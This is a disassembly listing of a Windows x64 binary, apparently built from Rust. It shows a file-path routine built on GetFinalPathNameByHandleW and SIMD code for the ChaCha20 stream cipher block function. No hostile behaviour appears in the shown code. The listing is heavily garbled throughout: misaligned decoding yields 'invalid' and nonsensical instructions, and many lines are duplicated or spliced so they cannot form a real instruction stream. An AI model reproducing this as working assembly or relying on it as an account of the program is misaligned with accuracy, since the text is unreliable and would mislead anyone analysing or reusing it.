add byte [rcx + rbp - 0x38], cl
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
and byte [rbp + rcx*4 + 5], cl
mov al, 0x12
lea r8, [0x1401721e0]
mov r9d, 2
add al, byte [rax]
add byte [rax], al
invalid
add byte [rcx - 0x47], al
add al, byte [rax]
add byte [rax], al
invalid
add byte [rax - 0x77], cl
mov rcx, rdx
mov ecx, edx
sal dword [rdx + 0x484aeb01], 1
mov dl, 1
add ebx, ebp
mov rdx, rcx
mov rdx, rcx
jmp 0x1400471ef
mov rdx, rcx
mov edx, ecx
cmp rdx, 0x63
cmp edx, 0x63
invalid
ja 0x140047082
sar dh, 1
invalid
invalid
jmp 0x1400470ac
invalid
movzx edx, word [r9 + rdx*2]
mov word [rsp + rax + 0x2e], dx
add rax, 0xfffffffffffffffe
test r8d, r8d
setns dl
lea r8, [rsp + rax]
add r8, 0x30
mov r9d, 0x27
sub r9, rax
mov qword [rsp + 0x28], r9
mov qword [rsp + 0x20], r8
mov r8d, 1
xor r9d, r9d
call fcn.140013020
nop
add rsp, 0xb0
pop rbx
pop rdi
pop rsi
ret
lea r8, [0x140114220]
mov edx, 0x80
call fcn.1401082c0
int3
add byte [rax - 0x39], cl
test dword [rax], ebp
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x400], rax
xor esi, esi
xor edi, edi
xor r14d, r14d
cmp r8, 0x201
jae 0x140047480
jmp 0x14004746f
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
jae 0x140047549
cmp r8, 0x201
jae 0x140047480
mov r15d, 0x200
lea r12, [rbp - 0x50]
mov r13, r8
jmp 0x1400474d8
sub r8, r14
sub rdi, r14
cmp rdi, r8
jae 0x1400474af
lea rcx, [rbp + 0x418]
mov rdx, r14
call fcn.140110110
jbe 0x140047424
or al, 0
jbe 0x140047424
or al, 0
mov rsi, qword [rbp + 0x418]
mov rax, qword [rbp + 0x420]
mov eax, dword [rbp + 0x420]
mov eax, dword [rbp + 0x420]
mov qword [rbp + 0x400], rax
mov eax, 0xffffffff
cmp rsi, rax
mov byte [rcx - 0x42], 0xff
invalid
invalid
dec dword [rdi + rcx + 0x42]
test byte [rcx + rcx*4 - 0x4b], 0x28
add al, 0
add byte [rax - 0x77], cl
test dword [rbp - 0x77], 0xa58b4cf7
add byte [rax + rax], al
add byte [rbp - 0x77], cl
cmc
mov byte [rcx - 0x42], 0xff
invalid
xor ecx, ecx
call qword [sym.imp.kernel32.dll_SetLastError]
mov rcx, qword [rbp + 0x3d8]
mov rdx, r12
mov r8d, r13d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_GetFinalPathNameByHandleW]
mov ebx, eax
test eax, eax
jne 0x14004750a
call qword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x140047651
mov r8d, ebx
cmp r13, r8
jne 0x140047460
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1400476be
add r13, r13
mov eax, 0xffffffff
cmp r13, rax
cmovae r13, rax
mov r8, r13
cmp r8, 0x201
jb 0x14004746f
jmp 0x140047480
cmp r15, r8
jb 0x1400476d8
lea rcx, [rbp + 0x3b8]
mov rdx, r12
call fcn.1400d7cd0
movups xmm0, xmmword [rbp + 0x3b8]
add byte [rax], al
add byte [rax], al
movups xmm1, xmmword [rbp + 0x3c8]
movaps xmmword [rbp + 0x3f0], xmm1
movaps xmmword [rbp + 0x3e0], xmm0
cmp qword [rbp + 0x418], 0
je 0x14004759d
mov r8, qword [rbp + 0x420]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x3e0], rax
add byte [rax], al
add byte [rax], al
or byte [rax + 0x39], 0x85
loopne 0x1400475af
add byte [rax], al
jne case.0x14001a5bd.1525
invalid
lea rcx, [rbp + 0x3e8]
call case.0x140019144.3166
xchg esp, eax
ror byte [rax], 0
invalid
xchg esp, eax
ror byte [rax], 0
invalid
add bl, ch
pop rcx
jmp 0x140047617
movaps xmm0, xmmword [rbp + 0x3e0]
loopne 0x1400475c6
add byte [rax], al
add byte [rdi], cl
movaps xmm1, xmmword [rbp + 0x3f0]
sub byte [rbp + 0x3f0], cl
movaps xmmword [rbp - 0x40], xmm1
movaps xmmword [rbp - 0x50], xmm0
lea rax, [0x140148f30]
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
adc eax, 0x102ee5
and byte [rax - 0x73], cl
adc eax, 0x102ee5
adc byte [rax], al
lea rcx, [rbp + 0x408]
lea ecx, [rbp + 0x408]
add al, 0
add byte [rbp + rcx*4 + 0x4d], cl
invalid
invalid
invalid
lea r9, [rbp - 0x50]
mov r8d, 4
add al, 0
add byte [rax], al
mov al, 0x41
mov eax, 4
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
call fcn.140014730
cmp qword [rbp - 0x50], 0
je 0x140047617
mov r8, qword [rbp - 0x48]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp byte [rbp + 0x411], 0
movzx ecx, byte [rbp + 0x410]
je 0x14004768a
mov al, 1
test cl, cl
jne 0x1400476a9
mov rax, qword [rbp + 0x408]
test byte [rax + 0x34], 4
jne 0x140047691
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140144289]
mov r8d, 2
jmp 0x1400476a6
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x3e8], rax
movabs rax, 0x8000000000000000
mov qword [rbp + 0x3e0], rax
cmp qword [rbp + 0x418], 0
jne 0x140047587
jmp 0x14004759d
test cl, cl
setne al
jmp 0x1400476a9
mov rcx, qword [rax + 0x20]
mov rax, qword [rax + 0x28]
lea rdx, [0x140149c0b]
mov r8d, 1
call qword [rax + 0x18]
nop
add rsp, 0x4b8
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov edx, 0x28
call fcn.140108350
jmp 0x1400476ed
lea rax, str.library_std_src_syspalwindowsmod.rsstrings_passed_to_WinAPI_cannot_contain_NULs
mov rcx, r8
mov rdx, r15
mov r8, rax
call fcn.140108340
ud2
movdqa xmm11, xmmword [rcx]
movdqa xmm2, xmmword [rcx + 0x10]
movdqa xmm8, xmmword [rcx + 0x20]
mov rax, qword [rcx + 0x20]
lea r8, [rax + 1]
movd xmm12, r8d
shr r8, 0x20
pshufd xmm0, xmm8, 0xf8
pslldq xmm0, 4
movdqa xmmword [rsp + 0x50], xmm0
movd xmm0, r8d
pslldq xmm0, 8
shufps xmm0, xmm8, 0xe8
por xmm12, xmm0
lea r8, [rax + 2]
movd xmm7, r8d
shr r8, 0x20
movd xmm0, r8d
pslldq xmm0, 8
shufps xmm0, xmm8, 0xe8
por xmm7, xmm0
lea r8, [rax + 3]
movd xmm5, r8d
shr r8, 0x20
movd xmm0, r8d
pslldq xmm0, 8
shufps xmm0, xmm8, 0xe8
por xmm5, xmm0
movdqa xmm10, xmmword [str.expand_32_byte_k]
mov r8d, 6
movdqa xmm9, xmm10
movdqa xmmword [rsp + 0x40], xmm10
movdqa xmmword [rsp + 0x30], xmm10
movdqa xmm1, xmm11
movdqa xmm15, xmm11
movdqa xmm13, xmm11
movdqa xmmword [rsp + 0xa0], xmm11
movdqa xmm6, xmm2
movdqa xmm0, xmm2
movdqa xmm14, xmm2
movdqa xmmword [rsp + 0xb0], xmm2
movdqa xmmword [rsp + 0x20], xmm2
movaps xmmword [rsp + 0x90], xmm8
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x70], xmm7
movdqa xmmword [rsp + 0x60], xmm5
nop word [rax + rax]
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm3, xmmword [rsp + 0x40]
paddd xmm3, xmm13
movdqa xmmword [rsp + 0x40], xmm3
movdqa xmm2, xmmword [rsp + 0x30]
paddd xmm2, xmm11
movdqa xmmword [rsp + 0x30], xmm2
pxor xmm8, xmm10
pxor xmm12, xmm9
pxor xmm7, xmm3
pxor xmm5, xmm2
pshuflw xmm2, xmm8, 0xb1
pshufhw xmm2, xmm2, 0xb1
pshuflw xmm3, xmm12, 0xb1
pshufhw xmm4, xmm3, 0xb1
pshuflw xmm3, xmm7, 0xb1
pshufhw xmm3, xmm3, 0xb1
pshuflw xmm5, xmm5, 0xb1
pshufhw xmm5, xmm5, 0xb1
paddd xmm6, xmm2
paddd xmm0, xmm4
paddd xmm14, xmm3
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm5
movdqa xmm8, xmm7
movdqa xmmword [rsp + 0x20], xmm7
pxor xmm1, xmm6
movdqa xmm7, xmm1
psrld xmm7, 0x14
pslld xmm1, 0xc
por xmm1, xmm7
pxor xmm15, xmm0
movdqa xmm7, xmm15
psrld xmm7, 0x14
pslld xmm15, 0xc
por xmm15, xmm7
pxor xmm13, xmm14
movdqa xmm7, xmm13
psrld xmm7, 0x14
pslld xmm13, 0xc
por xmm13, xmm7
pxor xmm11, xmm8
movdqa xmm7, xmm11
psrld xmm7, 0x14
pslld xmm11, 0xc
por xmm11, xmm7
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm8, xmm9
movdqa xmm9, xmmword [rsp + 0x40]
paddd xmm9, xmm13
movdqa xmmword [rsp + 0x40], xmm9
movdqa xmm12, xmmword [rsp + 0x30]
paddd xmm12, xmm11
movdqa xmmword [rsp + 0x30], xmm12
pxor xmm2, xmm10
movdqa xmm7, xmm2
psrld xmm7, 0x18
pslld xmm2, 8
por xmm2, xmm7
pxor xmm4, xmm8
movdqa xmm7, xmm4
psrld xmm7, 0x18
pslld xmm4, 8
por xmm4, xmm7
pxor xmm3, xmm9
movdqa xmm9, xmm8
movdqa xmm7, xmm3
psrld xmm7, 0x18
pslld xmm3, 8
por xmm3, xmm7
pxor xmm5, xmm12
movdqa xmm7, xmm5
psrld xmm7, 0x18
pslld xmm5, 8
por xmm5, xmm7
paddd xmm6, xmm2
paddd xmm0, xmm4
paddd xmm14, xmm3
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm5
pxor xmm1, xmm6
pxor xmm15, xmm0
pxor xmm13, xmm14
pxor xmm11, xmm7
movdqa xmm8, xmm7
movdqa xmm7, xmm1
psrld xmm7, 0x19
pslld xmm1, 7
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x19
pslld xmm15, 7
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x19
pslld xmm13, 7
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x19
pslld xmm11, 7
por xmm11, xmm7
pshufd xmm1, xmm1, 0x39
pshufd xmm15, xmm15, 0x39
pshufd xmm13, xmm13, 0x39
pshufd xmm11, xmm11, 0x39
pshufd xmm6, xmm6, 0x4e
movdqa xmmword [rsp + 0xc0], xmm6
pshufd xmm0, xmm0, 0x4e
movdqa xmmword [rsp + 0x20], xmm0
pshufd xmm14, xmm14, 0x4e
pshufd xmm12, xmm8, 0x4e
pshufd xmm2, xmm2, 0x93
pshufd xmm4, xmm4, 0x93
pshufd xmm3, xmm3, 0x93
pshufd xmm7, xmm5, 0x93
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm0, xmmword [rsp + 0x40]
paddd xmm0, xmm13
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmm6, xmmword [rsp + 0x30]
paddd xmm6, xmm11
pshuflw xmm5, xmm10, 0xb1
pshufhw xmm8, xmm5, 0xb1
pshuflw xmm2, xmm2, 0xb1
pshufhw xmm5, xmm2, 0xb1
pxor xmm5, xmm8
pshuflw xmm2, xmm9, 0xb1
pshufhw xmm8, xmm2, 0xb1
pshuflw xmm2, xmm4, 0xb1
pshufhw xmm2, xmm2, 0xb1
pxor xmm2, xmm8
pshuflw xmm4, xmm0, 0xb1
pshufhw xmm8, xmm4, 0xb1
pshuflw xmm3, xmm3, 0xb1
pshufhw xmm4, xmm3, 0xb1
pxor xmm4, xmm8
movdqa xmm0, xmm6
pshuflw xmm3, xmm6, 0xb1
pshufhw xmm8, xmm3, 0xb1
pshuflw xmm3, xmm7, 0xb1
pshufhw xmm3, xmm3, 0xb1
pxor xmm3, xmm8
movdqa xmm6, xmmword [rsp + 0xc0]
paddd xmm6, xmm5
movdqa xmm7, xmmword [rsp + 0x20]
paddd xmm7, xmm2
movdqa xmmword [rsp + 0x20], xmm7
paddd xmm14, xmm4
paddd xmm12, xmm3
pxor xmm1, xmm6
pxor xmm15, xmm7
pxor xmm13, xmm14
pxor xmm11, xmm12
movdqa xmm7, xmm1
psrld xmm7, 0x14
pslld xmm1, 0xc
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x14
pslld xmm15, 0xc
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x14
pslld xmm13, 0xc
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x14
pslld xmm11, 0xc
por xmm11, xmm7
paddd xmm10, xmm1
paddd xmm9, xmm15
movdqa xmm8, xmmword [rsp + 0x40]
and al, 0x40
and al, 0x40
paddd xmm8, xmm13
paddd xmm0, xmm11
pxor xmm5, xmm10
movdqa xmm7, xmm5
psrld xmm7, 0x18
pslld xmm5, 8
por xmm5, xmm7
pxor xmm2, xmm9
pxor mm2, mm1
pxor mm2, mm1
movdqa xmm7, xmm2
psrld xmm7, 0x18
pslld xmm2, 8
por xmm2, xmm7
movdqa xmm7, xmm8
movdqa xmmword [rsp + 0x40], xmm8
pxor xmm4, xmm8
movdqa xmm7, xmm4
psrld xmm7, 0x18
pslld xmm4, 8
por xmm4, xmm7
movdqa xmm7, xmm0
movdqa xmmword [rsp + 0x30], xmm0
pxor xmm3, xmm0
movdqa xmm7, xmm3
psrld xmm7, 0x18
pslld xmm3, 8
por xmm3, xmm7
paddd xmm6, xmm5
movdqa xmm0, xmmword [rsp + 0x20]
paddd xmm0, xmm2
paddd xmm14, xmm4
paddd xmm12, xmm3
pxor xmm1, xmm6
pxor xmm15, xmm0
pxor xmm13, xmm14
pxor xmm11, xmm12
movdqa xmm7, xmm1
psrld xmm7, 0x19
pslld xmm1, 7
por xmm1, xmm7
movdqa xmm7, xmm15
psrld xmm7, 0x19
pslld xmm15, 7
por xmm15, xmm7
movdqa xmm7, xmm13
psrld xmm7, 0x19
pslld xmm13, 7
por xmm13, xmm7
movdqa xmm7, xmm11
psrld xmm7, 0x19
pslld xmm11, 7
por xmm11, xmm7
pshufd xmm1, xmm1, 0x93
pshufd xmm15, xmm15, 0x93
pshufd xmm13, xmm13, 0x93
pshufd xmm11, xmm11, 0x93
pshufd xmm6, xmm6, 0x4e
pshufd xmm0, xmm0, 0x4e
pshufd xmm14, xmm14, 0x4e
pshufd xmm7, xmm12, 0x4e
movdqa xmmword [rsp + 0x20], xmm7
pshufd xmm8, xmm5, 0x39
pshufd xmm12, xmm2, 0x39
pshufd xmm7, xmm4, 0x39
pshufd xmm5, xmm3, 0x39
dec r8d
jne 0x14004b050
movdqa xmm2, xmmword [str.expand_32_byte_k]
movdqa xmm3, xmmword [rsp + 0x30]
paddd xmm3, xmm2
movdqa xmmword [rsp + 0x30], xmm3
movdqa xmm4, xmmword [rsp + 0x40]
paddd xmm4, xmm2
paddd xmm9, xmm2
paddd xmm10, xmm2
add rax, 4
mov r8, rax
shr r8, 0x20
movd xmm2, r8d
por xmm2, xmmword [rsp + 0x50]
movdqa xmm3, xmm2
pslldq xmm3, 8
shufps xmm3, xmm2, 0xe8
movd xmm2, eax
por xmm2, xmm3
movdqa xmmword [rcx + 0x20], xmm2
movdqu xmmword [rdx], xmm10
movdqa xmm2, xmmword [rsp + 0xa0]
paddd xmm1, xmm2
movdqu xmmword [rdx + 0x10], xmm1
movdqa xmm1, xmmword [rsp + 0xb0]
paddd xmm6, xmm1
movdqu xmmword [rdx + 0x20], xmm6
paddd xmm8, xmmword [rsp + 0x90]
movdqu xmmword [rdx + 0x30], xmm8
movdqu xmmword [rdx + 0x40], xmm9
paddd xmm15, xmm2
movdqu xmmword [rdx + 0x50], xmm15
paddd xmm0, xmm1
movdqu xmmword [rdx + 0x60], xmm0
paddd xmm12, xmmword [rsp + 0x80]
movdqu xmmword [rdx + 0x70], xmm12
movdqu xmmword [rdx + 0x80], xmm4
paddd xmm13, xmm2
movdqu xmmword [rdx + 0x90], xmm13
paddd xmm14, xmm1
movdqu xmmword [rdx + 0xa0], xmm14
paddd xmm7, xmmword [rsp + 0x70]
movdqu xmmword [rdx + 0xb0], xmm7
movaps xmm0, xmmword [rsp + 0x30]
movups xmmword [rdx + 0xc0], xmm0
paddd xmm11, xmm2
movdqu xmmword [rdx + 0xd0], xmm11
movdqa xmm0, xmmword [rsp + 0x20]
paddd xmm0, xmm1
movdqu xmmword [rdx + 0xe0], xmm0
paddd xmm5, xmmword [rsp + 0x60]
movdqu xmmword [rdx + 0xf0], xmm5
movaps xmm6, xmmword [rsp + 0xd0]
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xf0]
movaps xmm9, xmmword [rsp + 0x100]
movaps xmm10, xmmword [rsp + 0x110]
movaps xmm11, xmmword [rsp + 0x120]
movaps xmm12, xmmword [rsp + 0x130]
movaps xmm13, xmmword [rsp + 0x140]
movaps xmm14, xmmword [rsp + 0x150]
movaps xmm15, xmmword [rsp + 0x160]
add rsp, 0x178
pop rdi
pop rsi
ret
mov esp, 0x16024
add byte [rax - 0x7f], cl
invalid
invalid
add esp, 0x178
pop rdi
pop rsi
jmp 0x14004c2e0
mov esi, edx
mov rdi, rcx
call fcn.140110bb0
mov rcx, rdi
mov rdx, rsi
test eax, 0x200
je 0x14004af4b
movaps xmm6, xmmword [rsp + 0xd0]
movaps xmm7, xmmword [rsp + 0xe0]
movaps xmm8, xmmword [rsp + 0xf0]
movaps xmm9, xmmword [rsp + 0x100]
movaps xmm10, xmmword [rsp + 0x110]
movaps xmm11, xmmword [rsp + 0x120]
movaps xmm12, xmmword [rsp + 0x130]
movaps xmm13, xmmword [rsp + 0x140]
movaps xmm14, xmmword [rsp + 0x150]
movaps xmm15, xmmword [rsp + 0x160]
add rsp, 0x178
pop rdi
pop rsi
jmp 0x14004c9c0
add byte [rax], al
vpaddd xmm7, xmm11, xmm3
vpxor xmm5, xmm6, xmm7
vpshuflw xmm5, xmm5, 0xb1
vpshufhw xmm11, xmm5, 0xb1
vpaddd xmm4, xmm8, xmm11
vmovdqa xmmword [rsp + 0xb0], xmm4
vpxor xmm3, xmm4, xmm3
vpsrld xmm5, xmm3, 0x14
vpslld xmm3, xmm3, 0xc
vpor xmm8, xmm3, xmm5
vpaddd xmm4, xmm14, xmm2
vpxor xmm0, xmm4, xmm0
vpshuflw xmm0, xmm0, 0xb1
jo 0x14004bdce
mov cl, 0xc5
cli
jo 0x14004bdfb
mov cl, 0xc5
int1
inc ch
jb 0x14004bdf0
or al, 0xc5
invalid
jo 0x14004bdce
mov cl, 0xc5
cli
jo 0x14004bdfb
mov cl, 0xc5
int1
inc ch
vmovdqa xmmword [rsp + 0x40], xmm0
jg 0x14004be60
and al, 0x40
vpxor xmm0, xmm0, xmm2
vpsrld xmm1, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
rcl byte [rax*8 + 0xcf072f9]
vpor xmm14, xmm0, xmm1
jns 0x14004be1a
int1
vmovdqa xmm1, xmmword [rsp + 0x20]
vpaddd xmm3, xmm15, xmm1
vpxor xmm0, xmm13, xmm3
vpshuflw xmm0, xmm0, 0xb1
vpshufhw xmm9, xmm0, 0xb1
vpaddd xmm13, xmm9, xmmword [rsp]
xor esi, edi
sub al, 0x24
invalid
vpxor xmm0, xmm13, xmm1
vpsrld xmm1, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm15, xmm0, xmm1
xchg ecx, eax
out dx, eax
rol ebp, 0xf1
jb 0x14004be25
adc al, 0xc5
stc
jb 0x14004be4a
or al, 0xc5
jns 0x14004be49
stc
vmovdqa xmm0, xmmword [rsp + 0x30]
stc
outsd dx, dword [rsi]
and al, 0x30
vpaddd xmm6, xmm12, xmm0
vpxor xmm1, xmm6, xmmword [rsp + 0x10]
vpshuflw xmm1, xmm1, 0xb1
vpshufhw xmm2, xmm1, 0xb1
vpaddd xmm10, xmm10, xmm2
vpxor xmm1, xmm10, xmm0
vpsrld xmm12, xmm1, 0x14
vpslld xmm1, xmm1, 0xc
vpor xmm1, xmm12, xmm1
vpaddd xmm7, xmm8, xmm7
vmovdqa xmmword [rsp], xmm7
vmovdqa xmm0, xmmword [0x1401129c0]
vpshufb xmm11, xmm11, xmm0
vpshufb xmm12, xmm7, xmm0
vpxor xmm12, xmm11, xmm12
vpaddd xmm7, xmm14, xmm4
vmovdqa xmmword [rsp + 0x10], xmm7
vpshufb xmm4, xmm5, xmm0
vpshufb xmm5, xmm7, xmm0
vpxor xmm11, xmm4, xmm5
vpaddd xmm4, xmm15, xmm3
vmovdqa xmmword [rsp + 0x20], xmm4
vpshufb xmm3, xmm9, xmm0
vpshufb xmm4, xmm4, xmm0
vpxor xmm5, xmm3, xmm4
vpaddd xmm4, xmm1, xmm6
vmovdqa xmmword [rsp + 0x30], xmm4
vpshufb xmm3, xmm2, xmm0
vpshufb xmm2, xmm4, xmm0
vpxor xmm9, xmm3, xmm2
vpaddd xmm4, xmm12, xmmword [rsp + 0xb0]
vpxor xmm0, xmm8, xmm4
vpsrld xmm2, xmm0, 0x19
vpslld xmm0, xmm0, 7
vpor xmm0, xmm0, xmm2
vpaddd xmm2, xmm11, xmmword [rsp + 0x40]
vpxor xmm3, xmm14, xmm2
vpsrld xmm7, xmm3, 0x19
vpslld xmm3, xmm3, 7
vpor xmm3, xmm3, xmm7
loope 0x14004bf14
ffreep st(5)
xchg ecx, eax
invalid
std
vpxor xmm8, xmm15, xmm7
vpsrld xmm13, xmm8, 0x19
vpslld xmm8, xmm8, 7
vpor xmm8, xmm8, xmm13
vpaddd xmm6, xmm10, xmm9
invalid
loope 0x14004bf14
ffreep st(5)
xchg ecx, eax
invalid
vpxor xmm1, xmm6, xmm1
vpsrld xmm13, xmm1, 0x19
vpslld xmm1, xmm1, 7
vpor xmm1, xmm13, xmm1
vpshufd xmm0, xmm0, 0x39
vpaddd xmm10, xmm0, xmmword [rsp]
vpshuflw xmm13, xmm10, 0xb1
vpshufhw xmm13, xmm13, 0xb1
vmovdqa xmm14, xmmword [0x1401129d0]
vpshufb xmm12, xmm12, xmm14
vpxor xmm12, xmm12, xmm13
vpshufd xmm15, xmm3, 0x39
vpaddd xmm3, xmm15, xmmword [rsp + 0x10]
vmovdqa xmmword [rsp + 0x10], xmm3
vpshuflw xmm3, xmm3, 0xb1
vpshufhw xmm3, xmm3, 0xb1
vpshufb xmm11, xmm11, xmm14
vpxor xmm11, xmm11, xmm3
vpshufd xmm8, xmm8, 0x39
vpaddd xmm3, xmm8, xmmword [rsp + 0x20]
vmovdqa xmmword [rsp + 0x20], xmm3
vpshuflw xmm3, xmm3, 0xb1
vpshufhw xmm3, xmm3, 0xb1
vpshufb xmm5, xmm5, xmm14
vpxor xmm3, xmm5, xmm3
vpshufd xmm5, xmm1, 0x39
vpaddd xmm1, xmm5, xmmword [rsp + 0x30]
vmovdqa xmmword [rsp + 0x30], xmm1
vpshuflw xmm1, xmm1, 0xb1
vpshufhw xmm1, xmm1, 0xb1
vpshufb xmm9, xmm9, xmm14
vpxor xmm9, xmm9, xmm1
vmovdqa xmmword [rsp], xmm9
vpshufd xmm1, xmm4, 0x4e
vpaddd xmm14, xmm12, xmm1
vpxor xmm0, xmm14, xmm0
vpsrld xmm1, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm1, xmm0, xmm1
vpshufd xmm0, xmm2, 0x4e
vpaddd xmm13, xmm11, xmm0
vpxor xmm0, xmm13, xmm15
vpsrld xmm2, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm15, xmm0, xmm2
vpshufd xmm0, xmm7, 0x4e
vpaddd xmm7, xmm0, xmm3
vpxor xmm0, xmm8, xmm7
vpsrld xmm2, xmm0, 0x14
vpslld xmm0, xmm0, 0xc
vpor xmm0, xmm0, xmm2
vpshufd xmm2, xmm6, 0x4e
vpaddd xmm6, xmm9, xmm2
vpxor xmm2, xmm6, xmm5
vpsrld xmm4, xmm2, 0x14
vpslld xmm2, xmm2, 0xc
vpor xmm8, xmm2, xmm4
vpaddd xmm2, xmm10, xmm1
vmovdqa xmmword [rsp + 0x40], xmm2
vpxor xmm2, xmm12, xmm2
vmovdqa xmm5, xmmword [0x1401129c0]
vpshufb xmm9, xmm2, xmm5
vpaddd xmm10, xmm14, xmm9
vpxor xmm1, xmm10, xmm1
vpsrld xmm2, xmm1, 0x19
vpslld xmm1, xmm1, 7
vpor xmm1, xmm1, xmm2
vpaddd xmm14, xmm15, xmmword [rsp + 0x10]
vpxor xmm2, xmm11, xmm14
vpshufb xmm4, xmm2, xmm5
vpaddd xmm11, xmm13, xmm4
vpxor xmm2, xmm11, xmm15
vpsrld xmm12, xmm2, 0x19
vpslld xmm2, xmm2, 7
vpor xmm2, xmm12, xmm2
vpaddd xmm15, xmm0, xmmword [rsp + 0x20]
vpxor xmm3, xmm15, xmm3
vpshufb xmm13, xmm3, xmm5
vpaddd xmm5, xmm13, xmm7
vpxor xmm0, xmm5, xmm0
vpsrld xmm3, xmm0, 0x19
vpslld xmm0, xmm0, 7
vpor xmm0, xmm0, xmm3
vpaddd xmm12, xmm8, xmmword [rsp + 0x30]
vpxor xmm3, xmm12, xmmword [rsp]
vpshufb xmm7, xmm3, xmmword [0x1401129c0]
vpaddd xmm6, xmm6, xmm7
vpxor xmm3, xmm8, xmm6
vpsrld xmm8, xmm3, 0x19
vpslld xmm3, xmm3, 7
vpor xmm8, xmm8, xmm3
vpshufd xmm3, xmm1, 0x93
vpshufd xmm2, xmm2, 0x93
vpshufd xmm0, xmm0, 0x93
vmovdqa xmmword [rsp + 0x20], xmm0
vpshufd xmm0, xmm8, 0x93
vmovdqa xmmword [rsp + 0x30], xmm0
vpshufd xmm8, xmm10, 0x4e
vpshufd xmm1, xmm11, 0x4e
vmovdqa xmm11, xmmword [rsp + 0x40]
vpshufd xmm0, xmm5, 0x4e
vmovdqa xmmword [rsp], xmm0
vpshufd xmm10, xmm6, 0x4e
vpshufd xmm6, xmm9, 0x39
vpshufd xmm0, xmm4, 0x39
vpshufd xmm13, xmm13, 0x39
vpshufd xmm4, xmm7, 0x39
vmovdqa xmmword [rsp + 0x10], xmm4
stc
jg 0x14004c1c9
and al, 0x10
dec r8d
jne 0x14004bdd0
vmovdqa xmm5, xmmword [str.expand_32_byte_k]
vpaddd xmm4, xmm12, xmm5
vpaddd xmm7, xmm15, xmm5
vpaddd xmm9, xmm14, xmm5
vpaddd xmm5, xmm11, xmm5
add rax, 4
mov r8, rax
vmovdqa xmm11, xmmword [rsp + 0xa0]
outsd dx, dword [rsi]
pushfq
and al, 0xa0
add byte [rax], al
add ah, al
jns 0x14004c20b
loop 0x14004c162
invalid
and dword [rdx], esp
rol byte [rax], 1
shr r8, 0x20
vpinsrd xmm10, xmm10, r8d, 1
rol byte [rcx], 1
outsd dx, dword [rsi]
pushfq
and al, 0xa0
add byte [rax], al
add ah, al
jns 0x14004c20b
loop 0x14004c162
invalid
rol byte [rcx], 1
vmovdqa xmmword [rcx + 0x20], xmm10
vmovdqu xmmword [rdx], xmm5
vmovdqa xmm5, xmmword [rsp + 0x80]
vpaddd xmm3, xmm3, xmm5
vmovdqu xmmword [rdx + 0x10], xmm3
jg 0x14004c221
adc ch, al
jns 0x14004c23a
push rsp
and al, 0x50
jg 0x14004c221
adc ch, al
jns 0x14004c23a
push rsp
and al, 0x50
vpaddd xmm3, xmm8, xmm10
vmovdqu xmmword [rdx + 0x20], xmm3
vpaddd xmm3, xmm11, xmm6
vmovdqu xmmword [rdx + 0x30], xmm3
pop rdx
xor ch, al
jp 0x14004c263
invalid
invalid
vpaddd xmm2, xmm2, xmm5
vmovdqu xmmword [rdx + 0x50], xmm2
vpaddd xmm1, xmm10, xmm1
vmovdqu xmmword [rdx + 0x60], xmm1
vpaddd xmm0, xmm0, xmmword [rsp + 0x90]
vmovdqu xmmword [rdx + 0x70], xmm0
vmovdqu xmmword [rdx + 0x80], xmm7
vpaddd xmm0, xmm5, xmmword [rsp + 0x20]
pop rdx
xor ch, al
jp 0x14004c263
invalid
add byte [rax], al
add ch, al
sar esi, 1
and al, 0x20
vmovdqu xmmword [rdx + 0x90], xmm0
vpaddd xmm0, xmm10, xmmword [rsp]
vmovdqu xmmword [rdx + 0xa0], xmm0
vpaddd xmm0, xmm13, xmmword [rsp + 0x70]
vmovdqu xmmword [rdx + 0xb0], xmm0
vmovdqu xmmword [rdx + 0xc0], xmm4
add byte [rax], al
add ch, al
sar esi, 1
and al, 0x30
movabs byte [0x44fed1c5000000c0], al
and al, 0x30
add byte [rax], al
add ch, al
sar esi, 1
and al, 0x30
vmovdqu xmmword [rdx + 0xd0], xmm0
vpaddd xmm0, xmm12, xmm10
vmovdqu xmmword [rdx + 0xe0], xmm0
jg 0x14004c1d8
loopne 0x14004c258
add byte [rax], al
